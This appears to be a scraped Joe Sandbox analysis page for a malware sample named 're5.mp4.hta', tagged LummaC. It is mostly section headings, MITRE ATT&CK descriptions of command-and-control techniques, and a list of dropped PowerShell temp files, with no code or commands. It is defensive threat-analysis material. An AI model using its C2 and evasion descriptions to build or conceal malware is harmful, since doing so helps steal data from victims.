Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report re5.mp4.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bx3rafs1.rjz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csobo3ty.mtt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewdh2eez.2kr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnzqldrd.xn1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iywgb2on.4jq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kajqpz2u.1kt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlagyugm.hwp.psm1

Windows Analysis Report
re5.mp4.hta

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre